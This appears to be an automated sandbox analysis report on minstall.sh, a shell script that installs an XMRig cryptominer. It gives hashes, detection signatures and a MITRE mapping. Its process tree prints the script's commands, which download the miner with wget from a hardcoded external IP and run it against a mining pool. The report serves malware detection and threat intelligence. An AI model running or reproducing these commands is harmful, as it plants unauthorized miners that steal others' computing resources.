xmrig | f03e577b9f65b4318c9ed2acb510c5c7f681ff07446bdc66f105028eea327908

Analysis

max time kernel
8s
max time network
8s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
05/04/2025, 22:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

minstall.sh
Size

1KB
MD5

a40271ae5c12ad0c61ec0409fc3723d1
SHA1

79077d993d18b6be073e899d62bef022c957c17f
SHA256

f03e577b9f65b4318c9ed2acb510c5c7f681ff07446bdc66f105028eea327908
SHA512

20b68e61d328a3ab94e5ea5413a90b242b72d3dcf19ac398af10ae3247abafb3f3214ed1dc1a6823be74871ae056a4b03cdba7ed6af85621a9905c278386e388

Score

10^/10

xmrig xmrig_linux discovery miner

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral4/files/fstream-4.dat	family_xmrig
behavioral4/files/fstream-4.dat	xmrig

Xmrig family
xmrig
Xmrig_linux family
xmrig_linux
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig_linux

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/xmrig/xmrig	734	minstall.sh

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	tar

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
732	tar

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xmrig-6.22.2-linux-static-x64.tar.gz	wget

/tmp/minstall.sh
/tmp/minstall.sh
1⤵
- Executes dropped EXE
PID:699
- /usr/bin/cut
  cut -c1-5
  2⤵
  PID:704
- /bin/hostname
  hostname
  2⤵
  PID:703
- /bin/date
  date "+%s"
  2⤵
  PID:709
- /usr/bin/wget
  wget -q http://168.75.85.109:8081/xmrig-6.22.2-linux-static-x64.tar.gz -O xmrig-6.22.2-linux-static-x64.tar.gz
  2⤵
  - Writes file to tmp directory
  PID:712
- /bin/mkdir
  mkdir -p xmrig
  2⤵
  - Reads runtime system information
  PID:731
- /bin/tar
  tar -xzf xmrig-6.22.2-linux-static-x64.tar.gz -C xmrig "--strip-components=1"
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:732
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:733
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:733
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:733
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:733
- - /sbin/gzip
    gzip -d
    3⤵
    PID:733
- - /bin/gzip
    gzip -d
    3⤵
    PID:733
- /tmp/xmrig/xmrig
  ./xmrig -o 10.8.0.2:3333 -u debia5738 -k --donate-level 0 "--rig-id=rigNels"
  2⤵
  PID:734

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/xmrig-6.22.2-linux-static-x64.tar.gz

Filesize
3.3MB

MD5
8feb9a1c7da97b6e0d254d93da37371d

SHA1
090510d9ac1aedbce99fe98cc7396cfcfe6a3951

SHA256
b2c88b19699e3d22c4db0d589f155bb89efbd646ecf9ad182ad126763723f4b7

SHA512
2dd6b60365b553dcc703ed0e804dc1744d7288e3f328798afa6ec9f32e13eefa3ee88a3fa01cfd22f0493d2a2125b803f42f268ee3ac0cf6c2f4e3496fa065db

Download Submit
/tmp/xmrig/SHA256SUMS

Filesize
150B

MD5
554d057fe1c4eab2071450cf6c434dc5

SHA1
9fa4d5aa72d698f72d105fce0bd44657f244c7e6

SHA256
cd4a3226d74b573cbd1af1280543912259d6f0e1f5e59c39848700aa01b95de1

SHA512
be34f9b3e7ad12baba834da1b57fd6c943935792be2c026c49887e02cb3bd5645d7152dab2a4d760b5a1c09d782f72c6119098efbae63ccaa295cee83da3abb8

Download Submit
/tmp/xmrig/config.json

Filesize
2KB

MD5
66f38c96a4901e7b345787c447842b3e

SHA1
2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

SHA256
2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

SHA512
71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

Download Submit
/tmp/xmrig/xmrig

Filesize
7.9MB

MD5
8f4fff0ded94f1141768220906abfbb8

SHA1
ea7c97294f415dc8713ac8c280b3123da62f6e56

SHA256
b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d

SHA512
0096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee

Download Submit